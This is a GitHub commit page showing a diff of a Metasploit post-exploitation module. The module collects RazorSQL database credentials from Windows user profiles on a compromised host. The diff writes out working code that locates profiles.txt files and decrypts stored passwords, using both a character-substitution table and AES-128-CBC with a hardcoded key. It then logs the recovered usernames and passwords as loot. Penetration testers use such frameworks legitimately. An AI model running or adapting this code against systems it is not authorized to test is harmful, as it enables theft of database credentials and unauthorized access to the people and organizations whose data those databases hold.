Skip to content

Commit f5b9be7

Browse files
committed
Land rapid7#5468, @wchen-r7's updates razorsql to use the new creds api
* Also fixes rapid7#5469
2 parents ef825fb + c06e16f commit f5b9be7

File tree

1 file changed

+92
-26
lines changed

1 file changed

+92
-26
lines changed

modules/post/windows/gather/credentials/razorsql.rb

Lines changed: 92 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -6,9 +6,11 @@
66
require 'msf/core'
77
require 'rex'
88
require 'msf/core/auxiliary/report'
9+
require 'openssl'
910

1011
class Metasploit3 < Msf::Post
1112

13+
include Msf::Post::File
1214
include Msf::Auxiliary::Report
1315
include Msf::Post::Windows::UserProfiles
1416

@@ -30,6 +32,48 @@ def initialize(info={})
3032
))
3133
end
3234

35+
def get_profiles
36+
profiles = []
37+
grab_user_profiles.each do |user|
38+
next unless user['ProfileDir']
39+
['.razorsql\\data\\profiles.txt', 'AppData\Roaming\RazorSQL\data\profiles.txt'].each do |profile_path|
40+
file = "#{user['ProfileDir']}\\#{profile_path}"
41+
profiles << file if file?(file)
42+
end
43+
end
44+
45+
profiles
46+
end
47+
48+
49+
def report_cred(opts)
50+
service_data = {
51+
address: opts[:ip],
52+
port: opts[:port],
53+
service_name: opts[:service_name],
54+
protocol: 'tcp',
55+
workspace_id: myworkspace_id
56+
}
57+
58+
credential_data = {
59+
module_fullname: fullname,
60+
post_reference_name: self.refname,
61+
session_id: session_db_id,
62+
origin_type: :session,
63+
private_data: opts[:password],
64+
private_type: :password,
65+
username: opts[:user]
66+
}.merge(service_data)
67+
68+
login_data = {
69+
core: create_credential(credential_data),
70+
status: Metasploit::Model::Login::Status::UNTRIED,
71+
}.merge(service_data)
72+
73+
create_credential_login(login_data)
74+
end
75+
76+
3377
def run
3478
print_status("Checking All Users...")
3579
creds_tbl = Rex::Ui::Text::Table.new(
@@ -47,19 +91,17 @@ def run
4791
]
4892
)
4993

50-
grab_user_profiles().each do |user|
51-
next if user['ProfileDir'] == nil
52-
file= user['ProfileDir'] + "\\.razorsql\\data\\profiles.txt"
53-
content = get_content(file)
54-
if content and not content.empty?
55-
creds = parse_content(creds_tbl, content, user['UserName'])
56-
creds.each do |c|
57-
creds_tbl << c
58-
end
94+
get_profiles.each do |profile_path|
95+
content = get_content(profile_path)
96+
next if content.blank?
97+
parse_content(creds_tbl, content).each do |cred|
98+
creds_tbl << cred
5999
end
60100
end
61101

62-
if not creds_tbl.rows.empty?
102+
if creds_tbl.rows.empty?
103+
print_status("No creds collected.")
104+
else
63105
path = store_loot(
64106
'razor.user.creds',
65107
'text/csv',
@@ -70,8 +112,6 @@ def run
70112
)
71113
print_line(creds_tbl.to_s)
72114
print_status("User credentials stored in: #{path}")
73-
else
74-
print_error("No data collected")
75115
end
76116
end
77117

@@ -86,9 +126,8 @@ def get_content(file)
86126
return content
87127
end
88128

89-
def parse_content(table, content, username)
129+
def parse_content(table, content)
90130
creds = []
91-
print_line("Account: #{username}\n")
92131
content = content.split(/\(\(Z~\]/)
93132
content.each do |db|
94133
database = (db.scan(/database=(.*)/).flatten[0] || '').strip
@@ -100,19 +139,28 @@ def parse_content(table, content, username)
100139
pass = (db.scan(/password=(.*)/).flatten[0] ||'').strip
101140

102141
# Decrypt if there's a password
103-
pass = decrypt(pass) if not pass.empty?
142+
unless pass.blank?
143+
if pass =~ /\{\{\{VFW(.*)!\^\*#\$RIG/
144+
decrypted_pass = decrypt_v2($1)
145+
else
146+
decrypted_pass = decrypt(pass)
147+
end
148+
end
149+
150+
pass = decrypted_pass ? decrypted_pass : pass
104151

105152
# Store data
106153
creds << [user, pass, type, host, port, dbname, database]
107154

108-
# Reort auth info while dumping data
109-
report_auth_info(
110-
:host => host,
111-
:port => port,
112-
:sname => database,
113-
:user => user,
114-
:pass => pass,
115-
:type => 'password'
155+
# Don't report if there's nothing to report
156+
next if user.blank? && pass.blank?
157+
158+
report_cred(
159+
ip: rhost,
160+
port: port.to_i,
161+
service_name: database,
162+
user: user,
163+
password: pass
116164
)
117165
end
118166

@@ -140,12 +188,30 @@ def decrypt( encrypted_password )
140188
"a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" , "{" => "{" ,
141189
"}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" , "`" => "`"
142190
}
143-
password=''
191+
password = ''
144192
for letter in encrypted_password.chomp.each_char
145-
password << magic_key[letter]
193+
char = magic_key[letter]
194+
195+
# If there's a nil, it indicates our decryption method does not work for this version.
196+
return nil if char.nil?
197+
198+
password << char
146199
end
147-
return password
200+
201+
password
148202
end
203+
204+
def decrypt_v2(encrypted)
205+
enc = Rex::Text.decode_base64(encrypted)
206+
key = Rex::Text.decode_base64('LAEGCx0gKU0BAQICCQklKQ==')
207+
208+
aes = OpenSSL::Cipher.new('AES-128-CBC')
209+
aes.decrypt
210+
aes.key = key
211+
212+
aes.update(enc) + aes.final
213+
end
214+
149215
end
150216

151217
=begin

0 commit comments

Comments
 (0)